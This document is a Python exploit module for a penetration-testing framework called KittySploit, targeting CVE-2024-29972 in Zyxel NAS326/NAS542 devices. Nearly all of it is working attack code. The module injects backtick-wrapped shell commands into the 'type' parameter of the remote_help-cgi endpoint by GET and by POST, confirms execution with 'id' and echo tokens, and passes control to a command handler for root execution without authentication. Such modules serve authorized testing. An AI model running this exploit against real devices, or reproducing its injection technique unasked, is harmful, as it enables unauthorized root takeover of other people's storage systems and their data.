Zyxel NAS remote_help RCE (CVE-2024-29972)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel NAS remote_help-cgi command injection (CVE-2024-29972)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel NAS remote_help RCE (CVE-2024-29972)',
        'description': (
            'Exploits CVE-2024-29972 in Zyxel NAS326/NAS542: unauthenticated command injection '
            'in remote_help-cgi (NsaRescueAngel backdoor path) yields root command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-29972'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-29972'],
        'tags': ['zyxel', 'nas', 'backdoor', 'cmdi', 'rce', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_29972_detect']},
        },
    }

    help_path = OptString(
        '/desktop,/cgi-bin/remote_help-cgi/favicon.ico',
        'remote_help-cgi endpoint',
        required=False,
        advanced=True,
    )

    def _probe(self) -> bool:
        path = f'{str(self.help_path or "").strip()}?type=sshd_tdc'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return bool(r and 'result=0' in (r.text or ''))

    def execute(self, cmd: str) -> str:
        safe = urllib.parse.quote(str(cmd))
        path = f'{str(self.help_path or "").strip()}?type=`{safe}`'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if r and (r.text or '').strip():
            return r.text or ''
        r = self.http_request(
            method='POST',
            path=str(self.help_path or '').strip(),
            data=f'type=`{cmd}`',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        if self._probe():
            return {'vulnerable': True, 'reason': 'remote_help-cgi backdoor path active', 'confidence': 'high'}
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2024-29972 injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Zyxel NAS 29972 not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('Injection surface confirmed — command output not reflected in-band')
            self.execute(str(getattr(self, 'command', '') or self.payload or 'id'))
            return True
        return self.handler_execute()